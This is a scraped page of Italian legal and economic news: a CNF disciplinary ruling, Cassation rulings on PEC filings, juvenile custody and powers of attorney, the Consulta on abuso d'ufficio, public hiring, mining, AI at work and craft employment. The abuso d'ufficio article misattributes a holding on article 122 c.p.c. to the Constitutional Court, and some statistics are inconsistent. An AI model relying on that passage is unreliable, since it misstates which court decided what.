Reati sessuali su minori, per l’avvocato scatta anche la sanzione disciplinare

ROMA — La violazione della legge penale da parte di un avvocato, specie se legata a reati sessuali su minori, non produce solo conseguenze giudiziarie, ma assume anche rilievo disciplinare, incidendo direttamente sulla sua permanenza all’interno della comunità forense. Lo ha ribadito il Consiglio Nazionale Forense con la sentenza n. 485 del 31 dicembre 2024, rigettando il ricorso di un legale condannato in via definitiva per prostituzione minorile e detenzione di materiale pedopornografico.

Dignità e decoro oltre il processo penale
Nel motivare la propria decisione, il CNF ha chiarito che il comportamento dell’avvocato non costituisce soltanto un illecito penale, ma integra anche una violazione grave dei principi etici che regolano la professione forense, così come sancito dall’articolo 9 del Codice Deontologico Forense.

“Chi esercita la professione forense — sottolinea il CNF — è tenuto a rispettare i valori di dignità, probità e decoro non solo nell’attività professionale, ma anche nella vita privata e sociale.” La condotta tenuta dall’incolpato è risultata lesiva non solo dell’affidamento che la collettività ripone nella categoria, ma anche del patrimonio morale e valoriale dell’intera avvocatura.

Il principio affermato nella sentenza
Secondo il CNF, infatti, qualunque comportamento contrario ai principi di lealtà e correttezza — tanto nell’ambito dell’esercizio della professione quanto nella vita personale — incide sull’immagine pubblica dell’avvocato e sulla fiducia che i cittadini devono poter riporre nella categoria. Ecco perché, rilevata l’estrema gravità delle condotte e il disvalore sociale dei reati commessi, la sospensione di tre anni dall’esercizio della professione è stata ritenuta pienamente proporzionata.

Nessuna attenuante possibile
Nel respingere il ricorso, il CNF ha escluso che potessero trovare applicazione attenuanti o riduzioni di pena disciplinare, sottolineando come il coinvolgimento di una minore e la reiterazione delle condotte rendessero inconciliabile la prosecuzione, anche temporanea, dell’attività forense del soggetto.


LEGGI ANCHE

specializzazione avvocato

CNF: gli avvocati specialisti oggi sono realtà

Gli avvocati specialisti diventano ufficialmente realtà. Così come comunicato dal CNF, quattro professionisti hanno raggiunto questo traguardo, ottenendo una specializzazione in diritto civile, in diritto…

tavola rotonda con consiglio ministri

Giustizia, via libera proroghe su tirocinio magistrati, mobilità e intercettazioni

Estesi i termini per la riduzione del tirocinio dei magistrati, la mobilità del personale e il funzionamento delle sezioni distaccate di Ischia, Lipari e Portoferraio

E’ ufficiale: Netflix interrompe la condivisione della password

«Il tuo account Netflix è riservato a te e a chi vive con te, ovvero al tuo nucleo domestico. Puoi guardare Netflix con facilità quando…

Cassazione: impugnazione inammissibile se inviata alla Pec sbagliata

In tema di impugnazioni penali trasmesse per via telematica, la Corte di Cassazione conferma una linea di assoluto rigore. Con la recente sentenza n. 24604/2025, destinata al Massimario, i giudici supremi hanno ribadito che è inammissibile l’appello depositato tramite posta elettronica certificata (Pec) se inviato a un indirizzo diverso da quello indicato nel provvedimento del Direttore generale per i sistemi informativi automatizzati (Dgsia), come previsto dall’art. 87-bis, comma 1, del Dlgs 150/2022.

Il caso e la decisione della Corte
La vicenda prende le mosse dal Tribunale di Palermo, che ha dichiarato inammissibile un atto d’appello trasmesso via Pec l’ultimo giorno utile, ma non indirizzato alla casella ufficiale per il deposito delle impugnazioni, specificata nel provvedimento diramato dalla Dgsia e pubblicato sul Portale dei Servizi Telematici del Ministero della Giustizia.

Il difensore aveva sollevato questione di legittimità costituzionale della norma, lamentando una presunta violazione dei diritti di difesa e dei principi del giusto processo. La Corte di Cassazione ha però respinto l’eccezione, giudicandola manifestamente infondata.

Perché la Cassazione ha detto no
Secondo la Suprema Corte, la disciplina sul deposito telematico in materia penale, così come definita dall’art. 87-bis Dlgs 150/2022 (introdotto dall’art. 5-quinquies della legge 199/2022), prevede espressamente specifiche ipotesi di inammissibilità. Tra queste, il caso in cui l’atto sia trasmesso a un indirizzo Pec non riferibile all’ufficio che ha emesso il provvedimento impugnato, secondo quanto stabilito dal Dgsia.

Tale previsione — spiega la sentenza — non confligge con i principi sanciti dalla Convenzione europea dei diritti dell’uomo (CEDU) né con quelli costituzionali, poiché risponde a finalità di certezza, efficienza e semplificazione dell’attività giudiziaria, garantendo una rapida gestione dei flussi in ingresso presso le cancellerie.

Un’esigenza di efficienza e tutela del giusto processo
La ratio della norma è chiara: evitare disguidi e ritardi nell’incardinamento degli atti giudiziari, consentendo ai cittadini e ai difensori di avere la certezza che i propri atti arrivino correttamente a destinazione e siano tempestivamente lavorati dagli uffici competenti.

Il sistema del deposito telematico, sebbene ancora in regime transitorio, prevede modalità precise, il cui rispetto è condizione essenziale per la validità dell’impugnazione. E se è vero — osservano i giudici di legittimità — che la giurisprudenza europea stigmatizza formalismi eccessivi, è altrettanto vero che una regola chiara sugli indirizzi Pec consente di tutelare tanto il buon andamento della giustizia quanto il diritto delle parti a un processo rapido e ordinato.

Nessuno spazio per il “raggiungimento dello scopo” fuori legge
Infine, la Corte ha escluso che possa trovare applicazione il cosiddetto favor impugnationis, ovvero la possibilità di considerare ammissibile un atto che, pur trasmesso in modo irregolare, abbia comunque raggiunto il suo scopo. Richiamando l’orientamento delle Sezioni Unite, la sentenza precisa che tale principio non può autorizzare forme di deposito alternative rispetto a quelle previste dal legislatore.


LEGGI ANCHE

carcere rebibbia

Detenuti di Rebibbia chiedono il rispetto della sentenza della Consulta: la questione affettiva nelle carceri italiane

La sentenza ha dichiarato incostituzionale l'articolo 18 della legge sull'Ordinamento penitenziario, nella parte in cui non prevede che i detenuti possano avere colloqui senza il…

La Commissione europea cerca candidati per il gruppo di esperti scientifici sull’IA

Per candidarsi occorre avere esperienza in modelli e sistemi di IA per finalità generali, effetti dell'IA, o settori correlati, come la valutazione dei modelli, la…

Nuove norme per rafforzare la cibersicurezza dei soggetti critici e delle reti essenziali dell’UE

L’odierna adozione del regolamento di esecuzione coincide con il termine entro il quale gli Stati membri devono recepire la direttiva NIS2 nel diritto nazionale.

Pubblica amministrazione, via al maxi-reclutamento “giovane”: 91mila nuovi ingressi e stop agli over 67

ROMA — Una Pubblica amministrazione più giovane, digitale e orientata al merito. È questa la direzione impressa dal Governo alla macchina dello Stato, che nei primi sei mesi del 2025 ha pubblicato ben 9.000 bandi di concorso per l’assunzione di 91mila nuovi dipendenti pubblici. Una cifra destinata a far lievitare il numero complessivo di assunzioni nel triennio 2023-2025 a quota mezzo milione.

Una massiccia campagna di reclutamento che guarda in modo dichiarato ai giovani, preferibilmente under 40, con competenze specifiche nell’intelligenza artificiale e capacità di lavorare per obiettivi. Requisiti ormai imprescindibili in un’amministrazione che punta a trasformarsi attraverso la digitalizzazione e i nuovi modelli organizzativi previsti dalla riforma del merito promossa da Palazzo Vidoni.

Giovani al centro, meno spazio agli ultra-sessantasettenni
Parallelamente, molte amministrazioni centrali stanno ridimensionando la possibilità per i dipendenti più anziani di restare in servizio fino ai 70 anni, opzione che la legge di Bilancio per il 2025 consente, ma entro il limite massimo del 10% delle facoltà assunzionali e solo con performance eccellenti.

L’obiettivo è duplice: da una parte tamponare temporanee carenze di organico, dall’altra affiancare ai neoassunti figure esperte in grado di trasmettere competenze e know-how, ma solo laddove davvero necessario. Un cambio di passo netto rispetto al passato, dove le proroghe di servizio erano più frequenti.

Il Ministero della Giustizia, ad esempio, ha deciso di autorizzare il trattenimento in servizio soltanto in uffici con gravi carenze e solo per funzioni non altrimenti copribili, riducendo la proroga a un solo anno — fino a 68 anni — in vista delle nuove assunzioni già programmate dal 2026.

La tendenza coinvolge anche altri dicasteri:

  • Il Ministero dell’Agricoltura ha escluso del tutto la possibilità di trattenere personale oltre i limiti di età.

  • Ministero dell’Interno e Ministero dell’Università e della Ricerca non prevedono alcuna proroga per dirigenti e funzionari oltre i 67 anni.

  • L’Inps ha fissato al 2% il tetto massimo di trattenimenti, riservandolo solo alle elevate professionalità e per un periodo limitato.

Una PA con età media di 50 anni
Oggi il personale della Pubblica amministrazione ha un’età media di oltre 50 anni e solo il 5% degli statali ha meno di 30 anni. I numeri delle nuove assunzioni sono destinati a cambiare questo scenario, anche grazie alla forte adesione dei giovani ai concorsi pubblici: sul portale “inPA” sono registrati circa due milioni di candidati, oltre la metà under 40.

Le previsioni parlano chiaro: entro il 2025, con le nuove immissioni in ruolo, il totale delle assunzioni nel pubblico impiego raggiungerà quota 500mila unità.

Tutor esperti accanto ai nuovi assunti
La manovra autorizza comunque le amministrazioni a trattenere in servizio dipendenti con valutazione di performance ottima o eccellente, ma solo con il consenso degli interessati e per esigenze specifiche di tutoraggio o copertura di attività insostituibili.


LEGGI ANCHE

Spese di lite, decide il valore reale della causa

La Cassazione chiarisce: il valore per la liquidazione delle spese si basa sul decisum, non sulle dichiarazioni amministrative dei difensori.

casco da operaio

Morti sul lavoro, OCF: monito di Mattarella per arginare al più presto le criticità

L’avvocatura si appella al Parlamento e al Governo affinché si intervenga in modo risoluto.

Carceri, AIGA: “Garantire cure, formazione e recupero sociale detenuti”

Visita del presidente Carlo Foglieni a don Agresti nella Masseria San Vittore, simbolo di riscatto per reclusi

Tentato matricidio, niente carcere preventivo per il minore senza esame del contesto familiare

Anche nei casi più drammatici, il diritto penale minorile resta improntato alla finalità rieducativa e alla tutela del recupero. Lo ha ribadito la Corte di Cassazione, con la sentenza n. 24512/2025, intervenendo sul delicato caso di un minorenne accusato di tentato matricidio all’interno di una comunità di assistenza sociale.

La Suprema Corte ha censurato la decisione del giudice cautelare che aveva disposto la custodia preventiva in carcere senza aver svolto un adeguato approfondimento del contesto familiare e socio-ambientale in cui il reato era maturato. La Corte ha ricordato che la valutazione della misura cautelare per i minorenni deve fondarsi non solo sulla gravità del fatto e sulla pericolosità sociale attuale, ma anche sulle prospettive di recupero e sulla possibilità di misure meno afflittive, come la detenzione domiciliare presso familiari idonei.

Nel caso concreto, il giovane aveva agito in un contesto familiare compromesso: entrambi i genitori erano stati privati della potestà genitoriale e la madre, vittima del tentato omicidio, era stata responsabile di maltrattamenti continuati ai danni del figlio e degli altri due fratelli, anch’essi ospitati nella stessa comunità. Il ragazzo nutriva rancore verso la madre, ritenendola responsabile anche dell’allontanamento dal padre, situazione che aveva generato un forte disagio emotivo e relazionale.

Secondo la Cassazione, queste circostanze avrebbero potuto incidere sulla valutazione della pericolosità attuale del minore, considerato che la violenza era maturata all’interno di un ambito familiare disfunzionale, ormai superato, e non necessariamente replicabile in altro ambiente.

Errore del giudice di merito, ha osservato la Suprema Corte, non aver preso in adeguata considerazione l’offerta avanzata da alcuni parenti disponibili ad accogliere il minore in casa, e non aver verificato se tale soluzione potesse garantire le esigenze cautelari attraverso una detenzione domiciliare.

La sentenza ribadisce un principio fondamentale: ogni misura cautelare, specie se limitativa della libertà personale, deve essere proporzionata al rischio concreto e attuale e non può essere più gravosa del necessario. Nel caso dei minori, ciò significa tener conto in modo prioritario delle possibilità di recupero e reinserimento sociale, anche attraverso il coinvolgimento di parenti o strutture idonee alternative al carcere.

Per questo motivo, la Cassazione ha disposto il rinvio al giudice cautelare per una nuova valutazione, invitando a considerare attentamente la proposta di accoglienza familiare e a motivare in modo puntuale sull’impossibilità, ove sussistente, di applicare una misura meno afflittiva rispetto alla detenzione.


LEGGI ANCHE

La sicurezza sul lavoro si combatte anche con l’innovazione

Infortuni sul lavoro: la prevenzione è possibile con un’adeguata innovazione delle macchine Nonostante il progresso tecnologico, la possibilità dello smart working e i vari lockdown…

Diffamazione via Messenger: quando la Cassazione esclude il reato per mancanza di dolo

La Corte di Cassazione ha stabilito che l’invio di messaggi diffamatori su Messenger non integra il delitto di diffamazione in assenza di dolo.

Bonus Asilo Nido 2024: tempo fino a fine anno per richiederlo, ecco le istruzioni dell’INPS

Questo contributo, che può arrivare fino a un massimo di 3.600 euro, è destinato ai genitori di bambini nati nel 2024, con un secondo figlio…

Abuso d’ufficio, la Consulta dà il via libera all’abrogazione: nessun vincolo dalle convenzioni internazionali

È legittima l’abrogazione del reato di abuso d’ufficio. A sancirlo, in via definitiva, è la Corte costituzionale, che con la sentenza n. 95/2025, depositata il 3 luglio 2025, ha rigettato le questioni di legittimità costituzionale sollevate da ben quattordici giudici italiani, tra cui la Corte di cassazione. Il cuore del dibattito ruotava attorno alla compatibilità della cancellazione del delitto con gli obblighi internazionali assunti dall’Italia, in particolare quelli derivanti dalla Convenzione delle Nazioni Unite contro la corruzione — nota come Convenzione di Mérida.

La Corte ha chiarito che l’obbligo di utilizzare la lingua italiana negli atti processuali, previsto dall’articolo 122 c.p.c., non riguarda gli atti prodromici al processo — come le procure alle liti — e ha sottolineato come nessuna norma della Convenzione di Mérida imponga agli Stati firmatari di tipizzare espressamente l’abuso d’ufficio come reato nel proprio ordinamento penale. La stessa convenzione, infatti, prevede solo obblighi generali di prevenzione e repressione della corruzione, lasciando ampia discrezionalità agli Stati sulle specifiche figure di reato da configurare.

Ammissibili, invece, sono state considerate le questioni proposte dai giudici rimettenti in riferimento all’articolo 117, primo comma, della Costituzione, che vincola il legislatore nazionale al rispetto degli obblighi internazionali. Ma, entrando nel merito, la Corte ha escluso che l’abrogazione del reato di abuso d’ufficio rappresenti una violazione di tali obblighi, poiché né la Convenzione di Mérida né altri trattati ratificati dall’Italia impongono l’obbligo di configurare come reato simili condotte.

Rigettate anche le censure fondate sugli articoli 3 e 97 della Costituzione, con cui i giudici rimettenti denunciavano un presunto squilibrio nella tutela penale e un vuoto normativo nella protezione dei principi di buon andamento e imparzialità della pubblica amministrazione. In linea con una consolidata giurisprudenza, la Consulta ha ribadito l’inammissibilità di questioni volte a ottenere un intervento “in malam partem”, ossia a espandere la punibilità, ricordando che la materia penale è riservata alla discrezionalità del legislatore.

Nelle motivazioni, la Corte ha inoltre evidenziato come valutare se i vuoti di tutela lasciati dall’abrogazione siano bilanciati dai benefici della riforma sia una questione di esclusiva responsabilità politica del legislatore, non sottoponibile al sindacato di legittimità costituzionale, se non in presenza di specifiche violazioni di norme costituzionali o obblighi internazionali, che nel caso di specie non sono state ravvisate.

Con questa pronuncia, la Consulta chiude così uno dei capitoli più controversi della recente riforma della giustizia penale varata con la legge n. 114 del 2024, confermando che la scelta di eliminare l’abuso d’ufficio dall’ordinamento resta legittima sul piano costituzionale e internazionale, e ribadendo il limite invalicabile tra il controllo di costituzionalità e la funzione legislativa.

Resta ora alla politica — come la stessa Corte sottolinea — il compito di valutare se, e come, garantire in modo diverso la tutela penale dell’imparzialità e del buon andamento amministrativo senza ricorrere a fattispecie vaghe o di difficile applicazione.


LEGGI ANCHE

E-sport e avvocati servicematica

E-Sport, una nuova frontiera per gli avvocati?

Gli E-sport potrebbero rappresentare una nuova opportunità lavorativa per gli avvocati. Scopriamo subito perché. COSA SONO GLI E-SPORT Partiamo col dare una definizione agli E-sport.…

uomo con calcolatrice

Iban virtuali: un rischio crescente per il riciclaggio di denaro

Questi conti, offerti spesso da operatori extracomunitari, sembrano radicati in Stati europei a basso rischio, ma vengono utilizzati per mascherare trasferimenti illeciti attraverso false transazioni…

Leonardo Arnau alla guida dell’OIAD per la tutela degli avvocati in pericolo

Riconoscimento prestigioso per l'Italia e il foro di Padova con la nomina di Leonardo Arnau a Presidente dell'OIAD

Procura alle liti in lingua straniera? È valida: lo chiariscono le Sezioni Unite civili

Un importante chiarimento in materia di diritto processuale civile arriva dalle Sezioni Unite della Corte di Cassazione, che con la recente sentenza n. 17876/2025 hanno definito i confini applicativi dell’obbligo di utilizzare la lingua italiana nei procedimenti giudiziari.

La questione riguardava la validità di una procura speciale alle liti rilasciata all’estero, redatta in lingua straniera e priva di traduzione ufficiale. A sollevare l’eccezione di nullità era stata un’erede nel contesto di un procedimento successorio, contestando la validità della procura conferita da un altro partecipante alla lite, autenticata da un notaio della Florida.

Le Sezioni Unite hanno stabilito che l’obbligo dell’uso della lingua italiana sancito dall’articolo 122 del Codice di procedura civile si riferisce esclusivamente agli atti processuali propriamente detti, ovvero quelli formati nel e per il processo. Gli atti prodromici, come la procura alle liti o la nomina dei rappresentanti processuali, non sono soggetti a tale vincolo.

La Corte ha sottolineato come imporre la traduzione in lingua italiana di una procura rilasciata all’estero — in assenza di una specifica previsione normativa — costituirebbe un ostacolo ingiustificato al diritto di agire in giudizio, in violazione del principio di tassatività delle cause di nullità previsto dall’art. 156 c.p.c. e delle garanzie di accesso alla giustizia.

Secondo il principio di diritto affermato dalla Suprema Corte, quindi, la traduzione della procura e dell’atto di certificazione non costituisce requisito di validità, sia che si tratti di legalizzazione, sia in base alle Convenzioni internazionali di L’Aja (1961) e di Bruxelles (1987).

A disciplinare la questione resta l’art. 123 c.p.c., che prevede la facoltà per il giudice di disporre la nomina di un traduttore giurato nel caso in cui occorra esaminare documenti redatti in lingua straniera. Tale facoltà non è obbligo: il giudice può evitare di ricorrervi se è in grado di comprendere il documento o se non vi sono contestazioni sul suo contenuto o sulla traduzione allegata dalla parte.

La decisione della Corte rappresenta un approdo interpretativo coerente con i principi di efficienza del processo e di garanzia dell’effettivo esercizio del diritto di difesa. Una lettura moderna delle regole procedurali, attenta a evitare formalismi privi di reale tutela e in linea con l’esigenza di fluidità nei rapporti processuali transnazionali.

In conclusione, le Sezioni Unite hanno precisato che:

«In materia di atti prodromici al processo, quale la procura speciale alle liti, la traduzione in lingua italiana e l’attività certificativa non costituiscono requisito di validità, e la loro mancanza non determina nullità dell’atto».


LEGGI ANCHE

Giornata internazionale contro la corruzione: Nordio partecipa all’evento organizzato dal Ministero degli Affari Esteri

Il Ministro della Giustizia partecipa questa mattina in videocollegamento all’evento dal titolo “L’impegno della politica estera italiana nel contrasto alla corruzione e al crimine organizzato…

VIII rapporto censis avvocatura

Sempre meno avvocati in Italia: i numeri del Rapporto Censis 2024

Nel 2023 si è ridotto dell’1,3% il numero degli avvocati iscritti a Cassa Forense. In alcune regioni del Paese il numero dei legali ogni mille…

“Teste di c….”: il Sindaco di Terni insulta gli avvocati, la condanna del COA

Stefano Bandecchi accusa i legali di una causa contro il Comune, ma arriva la ferma replica dell'Ordine forense

Italia, ritorno alle miniere: litio, grafite e terre rare nella nuova corsa ai minerali strategici

Dopo trent’anni di silenzio, l’Italia riapre le sue miniere, o meglio, ne esplora il potenziale. La corsa mondiale alle materie prime strategiche per le tecnologie verdi e digitali — dalle batterie elettriche ai semiconduttori, fino ai dispositivi per l’aerospazio — impone di muoversi. Così, il Comitato interministeriale per la Transizione ecologica ha dato il via libera al Programma nazionale di esplorazione mineraria generale (Pne), un progetto che punta a capire se e dove il sottosuolo italiano possa offrire risorse utili alla nuova economia industriale.

Un investimento di 3,5 milioni di euro finanzierà la prima fase: 14 progetti distribuiti in dieci regioni italiane, dalla Lombardia alla Sardegna, con il coinvolgimento di 400 specialisti e 15 unità operative coordinate dal Servizio geologico d’Italia (Ispra). Le esplorazioni dovrebbero partire a settembre e si concentreranno su materiali essenziali come litio, grafite, rame, antimonio, tungsteno, titanio, terre rare e fluorite.

Per ottenere risultati, il programma userà tecnologie avanzate: dalla radiografia muonica, che sfrutta i raggi cosmici per “leggere” le rocce, all’intelligenza artificiale per elaborare dati e aggiornare il database minerario nazionale Gemma.

Ma le criticità non mancano. Tre i punti deboli individuati dagli analisti:

  • la limitata conformazione territoriale, che secondo Maurizio Mazziero, analista finanziario e co-autore del libro La mappa del tesoro, permetterà all’Italia di eccellere solo su materiali specifici come fluorite e feldspati, con qualche produzione rilevante su litio, antimonio e titanio;

  • l’assenza di una filiera industriale per l’estrazione, raffinazione e lavorazione dei materiali. «Se estraiamo antimonio e poi dobbiamo raffinarlo in Cina per poi riacquistarlo — osserva Mazziero — non avremo risolto nulla in termini di autonomia»;

  • i fondi insufficienti: il programma ha una durata prevista di cinque anni, ma al momento è finanziato solo per il primo. Alla fine del primo anno verranno valutati i risultati e decisi eventuali proseguimenti.

Anche i tempi rappresentano un ostacolo. Dall’individuazione di un giacimento al primo grammo estratto possono passare tra i 12 e i 16 anni, un orizzonte temporale incompatibile con le urgenze imposte dalla transizione energetica e dalla competizione geopolitica.

A rallentare il progetto c’è poi la cronica carenza di ingegneri minerari. «Negli anni ’90 — racconta a La Stampa Mariachiara Zanetti, vicerettrice del Politecnico di Torino — in Italia c’erano cinque scuole di Ingegneria mineraria, oggi ne sopravvive una sola, con 15 iscritti al primo anno e il 60% stranieri, che il più delle volte tornano nei Paesi d’origine dopo la laurea».

Per colmare il vuoto professionale, Ispra ha attivato Summer School e corsi di formazione e-learning, ma servirà tempo, e soprattutto una visione di lungo periodo che finora è mancata.

Nel frattempo, la Cina continua a dominare il mercato globale dei minerali critici, forte di investimenti iniziati oltre 25 anni fa. Oggi Pechino controlla buona parte della raffinazione mondiale di terre rare, litio e cobalto, e ha intensificato le acquisizioni minerarie all’estero: nel 2023 sono state dieci le operazioni sopra i 100 milioni di dollari.

«Se l’Italia vuole davvero competere deve investire subito nella filiera industriale e nella formazione, e comprendere che le miniere non sono più solo buchi nel terreno, ma parte di una strategia energetica e industriale moderna e sostenibile», conclude Zanetti.

Il ritorno alle miniere, dunque, non sarà immediato né privo di ostacoli, ma rappresenta un passo necessario in un contesto internazionale dove il controllo delle materie prime sta rapidamente diventando questione di potere geopolitico, oltre che industriale. E dove, se non si agisce in fretta, la finestra temporale per recuperare terreno potrebbe presto richiudersi.


LEGGI ANCHE

dossieraggio

Dossieraggio, ufficiale della Gdf: «Ho fatto il mio lavoro con dignità e professionalità»

Il tenente della Guardia di Finanza Pasquale Striano, al centro dell’inchiesta sul dossieraggio, ha fatto alcune importanti dichiarazioni. Durante un colloquio con Il Giornale, Striano…

Aborto: un disegno di legge per riconoscere la capacità giuridica del nascituro

Dopo la proposta di legge di Maurizio Gasparri spunta al Senato una nuovissima proposta di legge pro-life. Gasparri, infatti, aveva depositato un disegno di legge…

Caso Almasri: avviso di garanzia a Meloni e ai ministri, la premier: “Non sono ricattabile”

Indagine sul rimpatrio del criminale libico: il governo sotto accusa, ma la maggioranza fa quadrato. Anm: "Atto dovuto, nessuna condanna preventiva"

Intelligenza Artificiale, i lavoratori corrono più delle aziende: il paradosso digitale che ridisegna il lavoro

C’è una rivoluzione silenziosa che attraversa uffici, coworking e smart working italiani, spinta dai lavoratori e inseguita dalle aziende. È quella dell’intelligenza artificiale, che ormai ha smesso di essere solo un tema da convegni o piani strategici per diventare pratica quotidiana e personale. E a certificarlo sono i numeri: l’85% dei dipendenti che utilizza sistemi di IA al lavoro sceglie strumenti trovati online, preferendoli a quelli forniti direttamente dall’azienda.

Un paradosso, quello fotografato dall’Osservatorio HR Innovation Practice del Politecnico di Milano, che svela il divario tra la velocità con cui i lavoratori si sono adattati alle potenzialità dell’IA e la lentezza con cui le imprese italiane riescono a governare questa trasformazione. Solo il 14% delle aziende, infatti, analizza sistematicamente l’impatto di queste tecnologie sul proprio personale.

«Le direzioni HR faticano a comprendere come i lavoratori stiano già utilizzando l’intelligenza artificiale nelle loro attività», spiega su La Repubblica Martina Mauri, direttrice dell’Osservatorio. «Il rischio è quello di assistere alla diffusione di nuovi strumenti e comportamenti senza una visione strategica né una regolamentazione adeguata».

Eppure, i vantaggi per chi ne fa uso sono evidenti. Secondo lo HP Work Relationship Index, il 73% dei lavoratori ritiene che l’IA renda il lavoro più facile, mentre il 69% ha già iniziato a personalizzarne l’utilizzo per aumentare produttività ed efficienza. Chi usa quotidianamente strumenti di intelligenza artificiale guadagna in media 50 minuti al giorno — tempo che nel 60% dei casi viene impiegato per aumentare la produttività, nel 53% per attività a maggior valore aggiunto e nel 44% per dedicarsi ad impegni personali o familiari.

La crescita dell’adozione è trasversale ma con picchi significativi tra i più giovani. La Generazione Z guida il cambiamento: il 54% di loro utilizza già strumenti di IA sul lavoro, contro il 43% dei colletti bianchi in generale. Ma è anche una rivoluzione che rischia di procedere senza regole, mettendo in discussione sicurezza dei dati, equilibri organizzativi e relazioni sociali sul luogo di lavoro.

Secondo i dati raccolti, il 36% dei lavoratori teme una dipendenza tecnologica per svolgere il proprio lavoro, il 33% avverte l’indebolimento delle relazioni interpersonali e il 45% denuncia un aumento dei carichi di lavoro e dei livelli di stress.

A tutto questo si aggiunge il tema dell’obsolescenza delle competenze: oggi il 10% dei lavoratori dovrebbe essere già riqualificato, perché le proprie skill non sono più adeguate o rischiano di non esserlo entro tre-cinque anni. Il 32% è preoccupato di diventare professionalmente obsoleto nel breve periodo.

«Viviamo una fase di trasformazione accelerata — avverte su La Repubblica Mariano Corso, responsabile scientifico dell’Osservatorio HR Innovation Practice — dove le aziende devono affrontare una crescente frustrazione dei lavoratori, alimentata dall’instabilità del mercato, da retribuzioni spesso inadeguate e da conflitti globali. La sfida è tracciare una rotta capace di valorizzare le nuove tecnologie, contenendo i rischi e investendo nella formazione di competenze digitali realmente spendibili».

In questo contesto, la tecnologia non è più solo un supporto, ma il catalizzatore di un nuovo paradigma organizzativo, che ridisegna i ruoli, i tempi e i modelli lavorativi, rendendo urgente per le imprese ripensare strategie HR, governance digitale e programmi di welfare.

Uno scenario che chiama a raccolta tutte le generazioni: dalla Gen X, solida nell’esperienza ma meno disinvolta con le tecnologie, ai Millennial, ponte tra flessibilità e digitale, fino alla Gen Z, nativa digitale che chiede benessere, equilibrio vita-lavoro e innovazione quotidiana.


LEGGI ANCHE

Nordio con Shabana Mahmood

Nordio a Londra partecipa all’inaugurazione dell’anno giudiziario

Il Ministro della Giustizia era ieri a Londra per una serie di incontri istituzionali in materia di cooperazione giudiziaria fra l’Italia e il Regno Unito.

Decreto Sicurezza, scontro in Aula: proteste e tensioni tra maggioranza e opposizioni

Bagarre alla Camera tra cartelli, accuse e voto di fiducia. Il provvedimento passa con 163 sì, ma resta alta la tensione in vista del voto…

Giustizia: Nordio rilancia sulla separazione delle carriere e risarcimenti per errori giudiziari

Il Ministro rilancia la separazione delle carriere e propone risarcimenti per le vittime di errori giudiziari, mentre le polemiche politiche sul processo Open Arms continuano…

Artigianato batte industria: gli artigiani di Milano hanno il triplo degli occupati di Stellantis

Gli addetti nell’artigianato presenti nella ex provincia di Milano sono il triplo degli occupati che lavorano nel nostro Paese alle dipendenze del Gruppo Stellantis[1]. Se, infatti, la Città Metropolitana del capoluogo regionale lombardo può contare su poco più di 134mila addetti nell’artigianato, la casa automobilistica, invece, dà lavoro a 43mila persone[2] distribuite su gran parte del territorio nazionale[3]. Per trovare una provincia dove l’artigianato abbia lo stesso numero di addetti del principale gruppo manifatturiero del nostro Paese, dobbiamo riferirci a Genova o Varese. Il confronto è stato realizzato dall’Ufficio studi della CGIA.

  • Una provocazione per evidenziare il ruolo dell’artigianato

E’ palese, per stessa ammissione degli estensori di questo approfondimento, che questa comparazione va interpretata come una provocazione volta a evidenziare come l’artigianato – che rappresenta uno dei pilastri del nostro sistema economico – abbia una dimensione occupazionale nettamente superiore a quella riconducibile alla principale industria manifatturiera d’Italia. A livello nazionale, infatti, le imprese artigiane sono 1,24 milioni, gli addetti 2,8 milioni e nel 2022 il comparto ha generato un valore aggiunto di 143 miliardi (contro i 2,8 realizzati da Stellantis). Nonostante ciò, l’attenzione dei grandi media, dell’opinione pubblica e di buona parte della politica nazionale è quasi sempre rivolta ad analizzare l’andamento e i risultati del nostro principale gruppo automobilistico e, più in generale, delle poche grandi imprese rimaste nel Paese. Sia chiaro: è una condotta in parte giustificabile, ci mancherebbe. Tuttavia, andrebbe replicata più frequentemente anche nei riguardi delle piccole imprese e degli artigiani che, ripetiamo, costituiscono uno degli assi portanti del nostro sistema produttivo e occupazionale.

  • Le autofficine e carrozzerie artigiane, hanno nove volte gli occupati di Stellantis

Se restringiamo il campo alla sola filiera dell’auto[4], elaborando così un confronto più “omogeneo” di quello realizzato più sopra, le imprese artigiane di questo settore ubicate in Italia sono poco più di 72.600 e gli addetti 389.000[5]: nove volte in più dei dipendenti del  Gruppo Stellantis che, ricordiamo, alla fine del 2023 ammontavano a 43mila. Certo, molte autofficine e altrettante carrozzerie fanno parte dell’indotto del Gruppo e senza la presenza di quest’ultimo non esisterebbero. Tuttavia, la stragrande maggioranza lavorerebbe lo stesso, anche in assenza della casa automobilistica presieduta da John Elkann, poiché sono autoriparatori indipendenti o legati commercialmente ad altri produttori.

  • Tante imprese e lavoratori artigiani soprattutto nelle grandi aree urbane

Acconciatori, autoriparatori, edili, installatori impianti, officine meccaniche, trasportatori, etc., sono le principali attività artigianali che girando per i centri storici e le aree produttive presenti nelle periferie delle nostre città “incrociamo” ogni giorno. L’area che ne conta di più è Milano: in questa Città Metropolitana registriamo 67.530 aziende artigiane che danno lavoro a poco più di 134.300 addetti (di cui 60.900 dipendenti). Seguono Roma con 62.456 imprese e 103.400 occupati (di cui 37.432 dipendenti), Torino con 59.334 aziende e 115.570 addetti (di cui 49.343 dipendenti) e Brescia con 31.405 attività e 85.654 lavoratori (di cui 46.874 dipendenti).

  • Boom di autoriparatori a Roma

In riferimento alle attività artigiane della filiera dell’auto, a livello provinciale sono disponibili dati statistici non recentissimi (anno 2021). Detto ciò, la provincia con il più alto numero di addetti artigiani presenti in questo settore[6] è Roma con 22.707 attività. Seguono Milano con 19.276, Torino con 19.913, Napoli con 13.091 e Brescia con 10.542. Se prendiamo solo le prime due province italiane per numero di addetti artigiani nel settore dell’automotive, il numero complessivo di chi ci lavora (quasi 42.000 persone) sfiora quello degli occupati negli stabilimenti italiani del Gruppo Stellantis.

[1] Il Gruppo è costituito dai seguenti brand: Abarth, Alfa Romeo, Chrysler, Citroën, Dodge, DS Automobiles, Fiat, Jeep, Lancia, Maserati, Opel, Peugeot, Ram, Vauxhall, Free2move e Leasys.

[2] A cura del Prof. Fabiano Schivardi, “Stellantis e l’Italia: il contributo all’economia del paese e le risorse pubbliche ricevute”, Università Luiss “Guido Carli”, Roma 6 maggio 2025.

[3] I principali stabilimenti produttivi presenti in Italia sono; Mirafiori-Polo produttivo torinese, Modena, Cassino (Fr), Pomigliano d’Arco (Na), Melfi (Pz) e Atessa (Ch).

[4] Fabbricazione, riparazione, manutenzione e commercio

[5] Osservatorio MPI, Confartigianato Emilia Romagna, “Alcuni numeri chiave sulla filiera auto in Italia 2024, settembre 2024.

